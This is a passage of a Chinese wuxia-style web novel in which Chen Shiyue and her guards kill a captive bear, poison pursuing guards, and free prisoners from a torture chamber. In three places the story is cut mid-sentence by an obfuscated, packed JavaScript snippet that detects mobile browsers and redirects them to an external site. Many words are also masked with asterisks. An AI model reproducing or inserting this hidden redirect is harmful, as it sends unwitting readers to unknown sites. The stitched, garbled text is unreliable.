“这要往哪个方向追啊?”冬梅挠挠头,“到处都是血。” 陈识月道,“朝着有骚臭味的方向追,那应该就是豢养熊的地方。” 众人:“??” “姑娘,你能闻出来?”迎春有些崇拜,“这是天赋!” 陈识月有些不好意思,“我爹什么都没留给我,唯有这条命,还有这点天赋,于旁人而言……这点本事委实不足道也。大家做好准备,若是情况不对,我们就原路返回,有那条暗河在,熊肯定追不过去。” “是!” “是!” 第三百三十六章 她才不当圣母 陈识月很是小心的往前走,空气里还夹杂着腥臭味与骚臭味,越往前走越是浓重,可见她没有找错地方,已经找对了路。 “姑娘,您没事吧?” 迎春发现了,陈识月有点颤抖,不知道是因为紧张还是太冷,毕竟手无缚鸡之力,在这黑漆漆的地方,四下又是这般阴森寒凉,不哆嗦才怪。 当然,前面还可能会出现熊…… 陈识月忽然止步,“气味很大。” “你们几个,护着姑娘退后。”冬梅当机立断。 迎春第一反应是护着陈识月,这才惊觉陈识月双手冰凉,可见是真的觉得冷,当即握住了她的手,示意她不要紧张。 熊这东西,很聪明。 “它是会思考的猛兽。”陈识月开口,“会模仿人的行为,会做一些令人意想不到的事情,务必要小心,即便是牲畜也不能大意。” 迎春点点头,“冬梅,要小心。” “我又不是没……”话音还没落下,忽然一道黑影铺天盖地袭来。 陈识月险些尖叫出声来,终是因为太过惊恐,竟是发不出半点声音,只瞧着那高大壮的身影,直接扑向了冬梅。 人在它的面前,宛若蝼蚁。 相较之下,是无法言说的惊恐…… 迎春也没料到,竟然会这么庞大,看得人当场就懵了。 人在庞然大物面前的渺小,还有震撼,是无法用言语来形容的,好在迎春他们到底是习武之人,愣了一会就反应过来了。 “退后!”迎春二话不说就抱着陈识月飞身而去。 四个护卫,两个跟着迎春后面,两个冲上去帮着冬梅。 害怕归害怕,都到了这个时候,犹豫只会死得更快,齐心协力才能搏一条生路。 陈识月缓过劲来,“别顾着我了,去帮冬梅,这东西伤了很多人,甚至于可能吃过人,它对人的食欲远胜过一切。快去!” 吃过,就一定会馋。 吃过,就必须死! 不然还会有更多人,惨遭它的毒手。 “好!”迎春不犹豫。 冬梅是他们之**夫最好的,硬功夫绝佳,若是她出了事,大家估计都跑不了,那就放手一搏。 留下一个护卫守着陈识月,迎春旋即飞身返回,几乎没有任何的犹豫,持剑就上。 偌大的黑熊,站起来差不多两三米,蒲扇般的大熊掌扇过来,连岩石都能扇去半边,扇得到处都是稀里哗啦的。 乱石乱飞,熊的嘶吼穿透耳膜,震撼人心。 谁不怕? 都怕! 本能的害怕。 即便是习武之人,也是如此。 好在,理智占上风。 今日它不死,大家都得死! 思及此处,所有人都铆足了劲往上冲,这里毕竟不是野外,熊在这里能发挥的余地不大,尤其是他们现在这个位置,其实不是太宽敞。 迎春和冬梅的动作很快,有护卫当遮掩吸引熊的注意力,她们二人则乱剑齐出。 冬梅的力道大,一剑是一剑。 迎春的速度快,晃得熊兜头转圈,时间久了,这地方太狭窄,它便有些转不过弯来,几乎成了本能的转圈。 身上,到处都是伤。 及至被冬梅一剑砍下了熊掌,熊发出了撕心裂肺的嘶吼,疼痛让它当即用另一爪子捂住了伤口,掉头就想跑。 然而,迎春没给它机会,在它掉头的那一刻,用力砍下了它另一只掌。 嘶吼声响起的瞬间,三个护卫已经纷纷出剑,刺穿了熊的咽喉。 吼声戛然而止,庞然大物重重倒下。 浓郁的腥臭味合着血腥味,在空气里弥漫。 迎春大口大口的喘着气,转头看向冬梅,“收尾,小心点。” “知道!”冬梅缓步上前,剑上、身上、脸上全是血,即便是黑暗中,也能察觉到她身上浓重的血腥味,手起剑落,不给任何人或者东西反扑的机会。 补刀,是江湖的第一课。 手起剑落,斩落头颅。 任何贯穿伤都有可能偏离准头,都有可能留有一线生机,唯有身首分离,才能永绝后患。 “姑娘!”如此,迎春才敢掉头回去找陈识月。 陈识月在迎春开口的那一刻,就已经迈开步子快走了过来,黑灯瞎火的不敢小跑,免得摔跌磕着,“如何?如何?” “没事了!”迎春忙道。 陈识月嗅到了浓郁的血腥味,“我问的是你们,大家如何?” “都是皮外伤。”迎春回答。 陈识月看了一眼地上的熊尸,又看了看昏暗中的众人,“方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979142|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静太大了,我怕他们很快就会赶来,咱们赶紧走吧!” “嗯!”冬梅应声,“大家都没事吧?” 三护卫也只是皮外伤,倒是没什么大碍,但眼下不是在这里墨迹的时候,先离开再说。 走的时候,陈识月看着地上的熊尸犹豫了一下,其后从随身小包里取出了点东西。 “姑娘?”迎春回头,“走啊!” 黑暗中,迎春不知道陈识月在干什么,只瞧着她磨磨唧唧的,弯腰蹲在熊尸旁边,也不知道在做什么?瞧着像是很忙碌的样子。 “姑娘?”迎春不解,“您做什么呢?” 陈识月将东西收入了随身小包里,其后又将一个小竹筒取出,将内里的粉末倾倒在熊的断头处。 不瞬,白烟袅袅升起,一股子浓郁臭味快速弥漫开来。 “味好大!”迎春摆摆手。 陈识月笑了笑,“我们走!” “姑娘,您这是做什么?”迎春还是不明白。 陈识月回头看了一眼,“这熊应该是有人特意豢养,不知道是为了隐瞒这个洞窟,还是为了吓唬无辜者,总归少不了一笔笔血债,那我……就不能给他们留机会。” “什么机会?”迎春回头望着身后的白烟,“这样会把人吸引过来吧?” 陈识月点头,“会,不过不用担心,追不上我们。” “这烟雾是有什么说头吗?”迎春好似明白了什么。 陈识月笑了笑,“能销毁尸骨,自然不是什么好东西,这烟雾……有毒!” 他们这么大的动静,肯定会招来洞窟里的人,但既然都已经知道,会招人,那就玩一票大的,让这些招来的人都有来无回。 “我们快走!”一行人快速离开。 就在他们走后没多久,大批的守卫赶到,只是等他们赶到的时候,这里弥漫着浓郁的臭味,仿佛是皮**烧焦的焦臭味,合着不断升起的白烟,呛得人眉心直蹙。 “好臭啊!” “臭**!” “这些白烟是怎么回事?” “快过去看看!” 虽然臭,但内心深处的好奇心是挡不住的,所有人都缓步朝着熊尸走去。 “完了,熊**!” “快,快去禀报!” 可惜,他们晚了一步。 第三百三十七章 我的熊呢? 守卫一个接一个的倒下,就算是最后面的,发现情况不对的时候,也已经来不及了。 嗅到了那白烟,便已经是淬了毒,转身还来不及迈开步子,就已经一头栽倒在地,其后便是口吐鲜血,愣是怎么都爬不起来。 后续赶到的人,站在远处,再也不敢靠近,一个个吓得掉头就跑,也不管这里还有没有活人,反正自己活着才是最要紧的。 如此一来,陈识月他们便有了足够的时间逃脱,任凭后面的人知晓前面有人,却也不敢去追,只能纠结着到底要如何才能避开这一劫? 一直往前走了很久,及至差不多安全之处,终是燃起了火把。 这洞窟里没有人,所有人都是一脸疲惫,身上的血迹已经干涸,但他们因为赶路都没来得及处理伤口,所以这会各自有点不太对劲。 “我看看!”陈识月挨个看过去,为每个人诊治伤口。 熊抓挠所伤,都开始红肿,毕竟牲畜的爪子多少带着点毒,这会已经有人开始起热。 三个护卫都有不同程度的不适,好在都不是致命的,只不过有些人起了热,怕是没办法像之前那样快速赶路。 “姑娘不必忧心,我等还坚持得住!”众人急忙拍着胸脯保证。 陈识月看向三人,在迎春、冬梅和另一护卫的帮助下,先为三人清洗伤口,其后若发现腐肉,立刻先剜去腐肉,再给伤口上药。 过程有些繁琐,但必须这么做,就如同动物咬人,牙齿上的病毒会寸寸腐蚀皮肉,若不剜去的话……会导致大范围的溃烂流脓。 上了药之后,陈识月又给三人喂了药,取出针包施针。 “姑娘,吃了药还有必要施针吗?”冬梅不解。 陈识月点头,“有!他们开始起热了,我得用针遏制一下,要不然的话,他们的情况会恶化,趁着现在才刚开始,一切都还没有不可收拾。” 想了想,陈识月看向冬梅和迎春。 “你们两个,确定没有伤着吗?” 冬梅捋起胳膊,有旧伤疤,但没有现在的新伤。一些细微的皮肉伤,都是在山洞内被岩石一角划破的,都是不足为提的小伤,跟熊没有关系。 见状,迎春也照做。 双臂没有明显的新伤,可见熊真的没有伤到她们。 “如此最好!”陈识月如释重负。 处理好了三人的伤势,火把便熄灭了,在这地方还是要保持警戒才好,那边有得闹,大概满洞窟的人都开始搜寻他们的踪迹,是以不动才是最好的。 以不变应万变! 冬梅又悄悄去取了水,回来的时候还不忘留心一下外头的动静,这边倒是还算安静,就目前来说还是安全的。 进来这么久,时辰也不早了,得稍作休息,毕竟姑娘到底是个弱女子,万一撑不住可怎么好? 回去的时候,迎春率先做了个禁声的动作,示意冬梅别出声。 陈识月因着施针的时候,悄悄用银针刺破了指尖,沾血施针的缘故,这会有点疲累,所以靠在角落里小憩。 迎春将外衣覆在她身上,在边上小心守护着。 冬梅压着脚步声钻进洞窟,将水放在一旁,然后去查看那三护卫的伤势,还真是奇了怪了,姑娘施针之后,本来已经起了温热的护卫,竟是慢慢降温了。 姑娘的医术,可真好啊! 这样的人更得护着! 来日出去了,不知能救多少人…… 陈识月睡得昏昏沉沉的,总觉得身上忽冷忽热的,似乎有虫子在血管里钻来钻去,有些说不上来的难受,想睁开眼却又睁不开,到了最后便逐渐失去了意识。 外头还在翻找着,不只是一波人进来了…… 黑衣人立在黑暗中,负手而立,谁也瞧不清楚他的容脸,只能瞧见宽大的斗篷将他遮蔽得严严实实,显露出一个身形高大的轮廓来。 “一群废物,那么多人闯进来了,竟无一人知晓?还被闹得人仰马翻,死伤无数!”黑衣人嗓音低沉,可见是真的动了怒。 一听这话,身边的人纷纷下跪行礼谢罪,“是属下等该死,没料到这一时间,竟然会有这么多人闯进来,若是早知道的话……” “早知道的话,要你们何用?”不等他们把话说完,黑衣人冷声训斥,“还愣在这里干什么,还不赶紧去找!就算是掘地三尺也要把人给我找到!找不到人,你们一个个都提头来见!” 众人瑟瑟发抖,大气不敢出。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984329|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还有,熊!”男人许是愤怒到了极点,“我的熊呢?” 众人:“……” 谁知道呢? 那地方冒着烟,毒**很多人,到现在也没人敢进去,生怕一不留神也跟着被毒死,尸体都还在里面丢着,还没胆子收拾。 “好!好得很!”男人气急败坏,大步流星的离开。 “门主?” “门主恕罪!” 可斗篷男人压根没打算理睬他们,走得那叫一个头也不回。 回过神来,众人慌忙起身跟上。 众人皆知,门主生气了,后果会很严重。 门主素来不是个心慈手软的,之前因为有人闯入,险些坏了大事,门主处**一帮看守不力的兄弟,当时那场景……如今想来仍叫人心惊胆战。 泼水过后,白烟散尽,未散的也都落了地。 最后剩下的,是满地的尸体。 那些个没来得及跑的,都死在了这里,尸体横七竖八的,死状都颇为惨烈,一个两个的都七窍流血,可见这毒……实在是太毒了。 这些场景,看得众人各个头皮发麻,没料到还会看见这样的场景,连搬运尸体的时候,众人都是戴着特制的手套,生怕触碰到这些尸体的肌肤,生怕尸体还沾着毒。 抬出去之后,送上板车,从最近的山洞口送出去,到时候集体埋了便是…… 熊已经被化完了,骨头渣子都不剩,倒是留下了一身的好皮**,黑黝黝的,耷拉在地上,合着一滩血水,散发着浓郁的血腥味和焦臭味。 所有人都沉默了,这只熊是哪儿来的,大家很清楚,为什么存在,大家也很清楚。 可是现在,功亏一篑,一切都将不复存在。 门主站在那里,披着黑衣斗篷,久久没有言语。 “门主?” 门主回过神来,徐徐扬起头,“看守呢?” 看守瑟瑟发抖的被人提溜上来,跪在地上的时候,整个人都瘫软了下去,嗓音都带着哭腔,“门主饶命,我只是、只是走开了一下,只是……只是一下……熊……” 一掌落,鲜血喷溅,脑浆迸裂。 所有人几乎下意识的退后两步,吓得呼吸都停了。 第三百三十八章 你的骨头比熊还硬吗? 门主动怒,全体出动。 所有人都在找寻闯入洞窟之人,动静较之往日更大,所有人都知道,门主这一次是真的生气了,想来那些人若是落在门主的手里,必定要将这些人**万段,剁碎了喂狗。 可洞窟那么大,一时半会也不可能找到人。 何况,外头已经天黑了。 陈识月是被惊醒的,满身都是冷汗。 “姑娘?”迎春被吓一跳。 冬梅赶紧凑过来,“姑娘是做噩梦了?” 这是被吓着了吧? 想来也是的,姑娘手无缚鸡之力,如今经历了这么多,不被吓着才怪。 思及此处,迎春赶紧递来水袋,“姑娘一定吓着了,喝口水定定神。” “姑娘?”冬梅也跟着担忧。 终于,陈识月缓过神来,喝了口水算是缓过劲来,只是身上汗涔涔的,风一吹就冻得她打了个寒颤,瞬时起了一身的鸡皮疙瘩。 “没事吧?”迎春低声询问,“我们都在呢!” 陈识月忙问,“他们如何?” “都退热了,休息了片刻已经缓过劲来了,都好着呢!”迎春如实回答,“倒是姑娘,这一觉睡得很沉,想必是真的累着了。” 陈识月这才松了口气,“没事就好,扶我起来,我去看看!” 虽说已经退烧了,但伤口的恢复程度还得仔细观察,就怕伤势反复,毕竟这可是野兽所伤,人的指甲抓伤尚且危害不小,何况常年茹毛饮血、啖食生肉的牲畜。 好在,每个人的恢复都不错。 陈识月觉得,这里面多多少少有自己那一滴血的功效,加速了伤口的愈合,所以才能在最短的时间内恢复得七七八八。 “本来就是皮外伤,咱们习武之人体格子好,自然恢复得快,姑娘就不要担心了。”迎春笑了笑,宽慰陈识月,“不过,也亏得姑娘动作快,要不是您,体格子再好也得费些时候,吃点苦头。” 冬梅笑着应和,“就是就是,姑娘的医术真好,要不是姑娘,咱怕是得手忙脚乱。对了姑娘,您给那东西丢的什么?冒烟生毒的那个!” “一些小把戏而已。”陈识月是不会随便弄这些东西的,首先她是个大夫,不是屠夫,那些手段都只是为了确保,被官军追捕的时候,自己有机会逃出生天。 不用,是因为官军也是因为律法之故,并非真的出自本心,所以就算他们要追捕,她也不敢动用那些,谁还没个父母妻儿?追捕逃犯,本就是官兵的分内之事,怨不得他们。 但是这些长乐门的人不一样,这些人助纣为虐,甚至于亲自作恶,不知道犯下多少杀孽,尤其是那只熊,不知道多少人丧生熊口?! 他们该死,所以陈识月才能下手无情,没有任何道德负担。 “化尸粉罢了,在原本的基础上做了一些改动,手段有些恶毒,所以我就带了一点。”陈识月深吸一口气,“你们莫要担心,我不是草菅人命之人,我到底是个大夫,不做那些恶事。” 迎春和冬梅都笑了,“姑娘误会了,我们高兴还来不及呢!姑娘是什么,我们相处这么久,当然心知肚明,死的都是作孽之人,送他们早去地府赎罪罢了,你也不必挂在心里。唯有恶人该死,好人……才能活。” 陈识月松了口气,“他们的伤势没什么大碍,已经开始愈合,只要不沾水,不吃辛辣刺激的,估计不会再反复。” 伤口已经结痂,并且没有红肿化脓的迹象,只要保持伤口干燥,勤换药便罢! “那就好!”冬梅点头,转头询问,“你们感觉如何?” 三人忙道,“不碍事。” 那就是,可以继续赶路。 “吃点东西,喝点水,大家准备一下。”陈识月听到了外头的动静,恍惚间好似嗅到了危险的气息,“此地不宜久留。” 众人颔首。 那些人迟早会找过来,还是早点离开为好。 吃了点干粮,喝了点水,各自方便了一番之后,一行人这才悄摸着离开。 到处都是黑漆漆的,到处都是冷飕飕的。 所幸闹起来之后,极易听到脚步声,一有脚步声,众人慌忙隐蔽,瞧着火光摇曳,吵闹声不断的响起,其后便是大摇大摆的从自己跟前掠过。 众人窝在狭窄的缝隙里,大气不敢出。 “这要找到什么时候去?” “门主养的熊都**,这要是再出点什么乱子,咱都会吃不了兜着走。” “会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984330|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是囚室那人的同伙?” “这谁知道呢?就算是,咱没找到人,回去也是要受罚的!” 众人你看看我,我看看你,各自叹气往前走,也不知道得找到什么时候去?偌大的洞窟,走一圈都不知道要多久,何况对方要是躲起来,他们就更别想找到人了! 那么多的洞窟,这一时半会的…… 难! 待人走过去之后,陈识月皱起眉头,“他们口中的囚室会在哪儿呢?” 之前就听他们说,有人被抓住了,但走了一圈也没发现什么囚室。 “我们是从那个石棺下来的……”迎春有些犹豫,“这洞窟会不会分上下两层,咱是通过石棺到了下层?那个囚室,会不会在上面?” 陈识月也不清楚,这地方进来就两眼一黑,谁知道会在哪儿呢? “要不然,我们找个人问问吧?”冬梅裹了裹后槽牙。 陈识月点点头。 一直像没头苍蝇似的乱窜,委实不是个好办法,还是得抓个熟悉地形的人,这样才能更好更精准的找到他们想找的。 林序会在哪? 汗血宝马在哪? 关在囚室里的会是谁? 会不会是安信? 陈识月的脑子里满是想法,但一时半会也捋不清楚头绪,只能走一步算一步。 冬梅的动作也快,悄摸着就掳了一人,护卫赶紧把人捆绑结实,然后摁在了狭仄的缝隙里,刀子架在脖子上,不说也得说! “囚室在哪?”陈识月开口。 那人似乎有几分骨气,咬**也不开口,还把头别到一旁。 “哟,都这个时候了还敢哼哼?”冬梅刚抬手,迎春便抢先一步。 一个巴掌扇在那人的脸上,迎春满脸不屑,“再敢不配合,就先割下你的耳朵,再剜了你鼻子,让你知道什么叫人棍!” 说着,**狠狠扎进那人胳膊。 疼痛让他张嘴就喊,却被护卫死死用布团捂住了嘴巴,愣是发不出半点声响,他惊恐的瞪大眼睛,吓得瑟瑟发抖。 “熊是**的,知道吗?”陈识月阴测测的问,“你觉得你的骨头,能比熊更硬吗?我有的是法子,让你尝尝生不如死的滋味。” 第三百三十九章 一间一间找过去 一听这话,对方傻眼了。 “熊……熊是你们杀的?” 这不是废话吗? “看着不像吗?”冬梅冷笑两声。 这下子,他倒是真的想哭了,那头熊是怎么死的,大家都心知肚明,虽然他当时不在场,但听说后来冲进去的人,都死了……死相分外凄惨。 那些人,都是被毒死的! 毒烟。 “我就是那白色的有毒烟雾的主人!”陈识月已经努力的表述清楚,至于信不信的话,还得看对方的意思。 不过,对方似乎是信了。 这不,开始瑟瑟发抖了。 陈识月不紧不慢的私下他自己的衣角,给他包扎伤口,然后转头看向迎春和冬梅,“下手那么重干什么?这要是再偏一些,怕是扎着骨头了。” “是!”迎春颔首,“下次扎腿,腿上肉多。” 冬梅挥了挥手,“要我说,直接把他脑袋扭下来就完事,费那么大的劲儿作甚?不听话的留着干什么?杀了了事。” “我、我带你们去!”男人带着哭腔。 陈识月与二人对视一眼,冲着护卫使了个眼色,“带上他,走!” 只是胳膊上出血,倒也没什么大碍,反正陈识月已经给他包扎上药了,死不了便是! “囚室里到底关着什么人?”陈识月问。 男人魂不守舍,带路的时候,腿都是软的。 “你最好不是在耍我们。”迎春在他耳畔阴测测的开口,寒意瘆人。 男人嗫嚅着开口,“不敢,不敢!” “你最好乖乖带路,要不然我就把你的脑袋拧下来。”说话间,冬梅狠狠掰下一块突石。 动作轻松,但力道……可想而知。如此具有威慑力,谁见着不得瑟瑟发抖? 陈识月笑而不语,只管跟着。 有人带路,倒像是安全多了,只不过…… “你确定是这条道?”陈识月皱眉。 方才他们没从这里经过,自然也不知道真假,事实上……这里不熟,就算被人骗进了坑里,一时半会也反应不过来。 “嗯!”男人点点头,指了指前面,“前面拐个弯,然后有个台阶,上去之后就到了。囚室在暗河的边上,偶尔囚犯也会被丢在水里。暗河水冷,冻骨头……” 冷意会渗透骨头缝,人若是在暗河水里泡久了,纵然以后救回来了,也会留下永远无法治愈的病根。 “好狠毒!”陈识月皱了皱眉,“囚室……很多人吗?” 男人点点头,“嗯!” 脚步一顿,陈识月与迎春对视一眼。 很多人? “都是些什么人?”陈识月问。 男人摇摇头,“不清楚,凡是闯进来的都被丢进了囚室,进去的人……几乎不可能活着走出来。门主不会允许任何窥探者,活着走出囚室。” 陈识月沉默了。 那就是草菅人命。 这些被丢进囚室的人,应该都是各方的细作,也不排除有误入的人。 但不管是不是误入,进来了……被发现就只能等着被处理,一通审讯过后,好赖都出不去,下场都只有一个死。 拐个弯,果然看到了台阶。 迎春拍了一下冬梅的肩膀,冬梅了悟,快速上前探路。 “姑娘先等着,莫要轻举妄动。”冬梅小心谨慎,“我先去看看!” 陈识月与众人一道站在原地,静静等着冬梅去探路。 冬梅走得很小心,台阶有些陡,上面是出口,隐约能听到有人说话的声音,可见这里是有人看守的,想要进去还真是没那么容易。想了想,冬梅快速转回,“姑娘,上面有人。” “肯定有人啊!”男人慌忙开口,生怕他们一怒之下把他杀了,“这是囚室,囚室里有人看着呢!” 众人沉默。 那怎么进去? “我、我可以帮你们进去。”男人神情慌乱,“你们别杀我!” 他是真的怕了。 怕死! 人之常情,本能而已。 “你别耍花样!”陈识月猛地掰开他的嘴,给他塞了一枚药丸,“听话就给你解药,如若不然,那只熊的下场……就是你的下场。” 听说那只熊最后只剩下了一层皮毛,连骨头渣子都没剩下…… 思及此处,男人颤抖得更加厉害。 这……这…… “是!”男人几乎快哭了。 毒药这东西,吃进去了又挖不出来,何况那只熊的下场,已然震撼了所有人,所以男人很清楚,眼前这些人手段了得,自己想要活着就不能耍花样。 “走吧!”迎春给他解绑,“听话一点,活得久一点。这天底下没有什么比自己的命更重要的,活着才有你想要的一切。死人是不作数的!” 男人连连点头,“我知道,我都知道。” “你们退后。”陈识月开口,然后动作麻利的在男人的身上摸了点东西。 众人快速退后,一刻都不带犹豫。 “马上进去。”陈识月轻轻的推了他一把。 捂着受伤的胳膊,男人亦步亦趋的走上台阶,朝着出口走去,上面传来了说话的声音,然而没过多久,便是一阵阵重物落地的声音。 紧接着,是脚步声。 “哎哎哎,怎么回事?这是怎么了?”“怎么倒头就睡?” “这是喝多了?” “若是让门主知晓,你们一个个都得吃不了兜着走。” “哎哎哎,你怎么回事?我……” 然后,声音渐渐的消失了。 陈识月静静的听着,其后让众人用水打湿遮脸布,“这东西怕水,大家带好遮脸布!” “是!” 覆上遮脸布,冬梅打头阵,领着众人快速走上了台阶。 囚室这边,安静得出奇。 等着迎春他们上来了,才知道所有人都叠罗汉似的,昏睡在地上,累了一沓,一个接一个的倒伏在地,都是呼呼大睡。 “这都是什么东西?”冬梅对陈识月的崇拜,宛若滔滔江水,连绵不绝,“姑娘,你就、就这么给人药倒了?” 陈识月摸了摸面上的遮脸布,“保护好脸上的遮脸布,免得误吸这些东西。” “是!” 这囚室其实也是循着石窟的本来模样,经过人工扩展而出,四下都是阴测测的,甚至于在往内走的时候,还能看到一些地洞。 这些洞直通暗河,上面悬着绳索和木架,应该就是此前说的,把囚犯丢下暗河的刑罚。 “私设刑房,真是该死!”陈识月音色低沉。 冬梅和迎春对视一眼,小心观察者周围,免得忽然窜出个什么东西来。 众人缓步前行,囚室都关着石门,只留下石门上一道小口子可朝内观看,一间间的查看过去,所需费时,但又必须这么做,万一错过了,那可如何是好? “找到了吗?” “这里不是。” “这边也不是。” 第三百四十章 笼子里关着熟人 一行人挨个房间找过去,不敢错漏分毫,但一个都不是,只不过这么一来,似乎是惊动了房间里的人,有人开始爬到了门口,想要扒拉着门缝朝外头看清楚。 甚至于,有人开始喊救命。 他们都很清楚,能出现在这里的,不是长乐门的人,就是外人……只要不是长乐门的人,怎么都好说。 想了想,陈识月有些犹豫。 “姑娘?”迎春看出了她的心思。 陈识月想了想,“把所有的门都打开,每个人都来用遮脸布。” “啊?”冬梅愣住,“都放了?” 迎春用胳膊肘推了她一下,“你是不是傻?这么多人跑出去,对咱来说也是好事,这里的事情若是传出去,有长乐门的好果子吃!这么大的洞窟,并非一朝一夕所成,一旦暴露,他们这几年内都别想安生,吃亏吃大了!” “如果一个都没跑出去呢?”冬梅问。 迎春嗤然,“那……你我都算废物!” 冬梅:“……” 果然,人发起狠来,连自己都不放过。 “来!”陈识月开始动手。 在这地方找布料也不难,被泡水的都会被扒了衣服,这会角落里有一堆,随便撕撕扯扯都是遮脸布,这边上的水桶也都是现成的。 钥匙就在墙上挂着,不多时便快速打开了一道道石门,众人鱼贯而出,只不过刚出来的时候,一个两个都有些提心吊胆,不知道对面是什么人? “门口有迷香,不想死的就一人一张沾了水的遮脸布,自己去那边撕衣服料子沾水,该跑就跑,不想跑的就帮忙救人。”陈识月蒙着脸,冷声吩咐,“不信邪的就自己闯吧,我不拦着!” 语罢,随他们去吧! 有人不信邪,还真的撒腿就往门口跑,只不过刚到门口就一头栽倒了,连着栽倒了几个,后面的就自动学乖了,赶紧去撕了衣服料子沾水,捂住了口鼻才敢往外跑。 见此情形,有人信了陈识月他们,忙不迭的去撕衣服料子沾水,也有人去帮忙开门…… 陈识月很着急,怎么一直没看见林序他们呢?还是说,林序没被抓住,还躲在这石窟的某个角落里,伺机而动? 又或者…… 呸呸呸,林序功夫好,肯定不会有事的。 “怎么都没有?”冬梅有些着急,“这都开了大半了,一间间的找过去,也没见着人?是不是咱找错了方向?” 迎春忙宽慰,“找错了方向也无所谓,反正咱救了那么多人呢!救人一命胜造七级浮屠,咱这都快救成登天梯了,不是吗?” 这话倒是把冬梅逗笑了,“那我是要成仙了?”“嘿,这么大的功德,还真不好说。”迎春回应。 不多时,护卫喊了一声,“这边!” 陈识月心里一紧,慌忙跑过去。 石门打开,这好像是刑房? 瞧着木架,瞧着地上的血,样样触目惊心,甚至于旁边的铁桶和石槽里,还胡乱丢着一些断肢残臂,以及一些脏器。 纵然是陈识月,也跟着变了脸色,更何况…… 身后有人直接呕出声来,原本冲过来帮忙的人,掉头就跑了,实在是受不了这样的场景,浓郁的血腥味充斥着鼻腔,让人五内翻滚,见之便是阵阵恶寒。 迎春摸了摸脸上的遮脸布,眼睛有些微红,“这帮狗东西。” “我下手还是轻了。”冬梅嗫嚅着,“早知道都是这样的畜生,不该用刀用剑,直接活撕了他们,才对得起这些冤死之人。” 陈识月面色惨白,缓步走进了刑房,却被迎春拦住,“姑娘,别往里面走了,太血腥了。” 这里面也没听到什么响声,应该不会再有人了吧? “他们知道不可能有人活着出去,时间久了,便再也不拿这些人当人,肆意的虐杀无辜,成为他们取乐和发泄的工具。这帮畜生!”陈识月几乎将牙齿咬碎,“不掀了这长乐门,不知还会有多少人将惨死在他们的手里。” 这些人,很多都是误闯,或者是因为某些原因得罪了长乐门,没和长乐门的心意,就被带来了这里,最后都成了“生不见人,死不见尸”的冤魂。 何其冤屈! 何其不公! 陈识月越往里面走,越是心惊,尤其是看到桌案上摆放的那一卷皮纸,整个人的汗毛都炸了起来,定定的站在那里,很久很久没有反应过来。 “姑娘?”迎春心惊,“吓着了吧?” 冬梅伸手就想把摊开的皮纸收起来,却被陈识月一把扣住了手腕,“别动,这是人……人……” 她说不出口。 冬梅先是一愣,其后不敢置信的看向那张皮纸,所有的声音都卡在了嗓子眼里,最后指了指自己。 陈识月看向她,闭上眼睛点点头。 “这帮天杀的狗杂碎!”冬梅张嘴就骂,眼眶通红含泪,“在遇见他们,我绝不会手下留情,一定要撕了他们!” 陈识月深吸一口气,缓了缓心神,瞧着里面那几个铁笼,犹豫再三还是走了过去。 铁笼用黑色的布盖着,只露出底下的铁质挡板。“好像有东西?”迎春心慌,当即拔剑。 冬梅咬着牙,“不会又是熊吧?” 但是这笼子不大,即便是熊应该也不似之前这般庞大,不知道是什么? “姑娘别靠近,我来!”迎春快速用剑挑开了黑布。 黑布哗啦一下掀开,里面是…… 人! 血淋淋的人,瞧着伤得不轻。 看上去,似乎只剩下一口气。 见状,三人对视一眼,冬梅快速上前掀开了另外几个铁笼的黑布。 里面都是人! 迎春手起剑落,直接劈开了锁链。 锁链断开的那一瞬,陈识月便快速上前,打开了铁笼的大门,其后便开始探脉。 “怎么样?”迎春忙问。 陈识月摇摇头,“晚了。” “那边还三个。”冬梅赶紧帮忙。 铁笼被一个个打开,三个人还剩下一个人,带着点喘气。 “就他还活着!”陈识月还是有些欣喜的。 迎春和冬梅赶紧把人抬出来,陈识月从边上的水桶里捏了把湿帕子,轻轻擦去了那人面上的血污,拨开了他散乱的发,却在下一刻瞪大眼睛,险些失声叫出来,“安信?” “是安信!是安信!”好半晌,陈识月才回过神来,慌忙重新为他把脉。 伤得太重了! 还好出来的时候,祖父给过她两枚保命丸,这个时候不用更待何时? “安信?”陈识月忙将药丸塞进他的嘴里。 药丸入口即化,能在最大程度上吊他一口气。 “不能挪动他,我立刻施针,你们看着外面!”陈识月快速取出了针包。 第三百四十一章 我能救活他 冬梅快速去门口看着,迎春则从旁协助陈识月,两人分工明确。 而四个护卫,还在搜寻着所有的囚室,以免错过了线索,可眼见着都快把这里翻了个底朝天,也没见着林序的踪影。 外头依旧是乱糟糟的,陈识月不为所动,只专心施针。 迎春帮着扒开了安信的血衣,这全身上下几乎没一块好地,看得人……触目惊心。 “好狠毒的手段!”迎春裹了裹后槽牙。 长乐门不灭,天理何存? 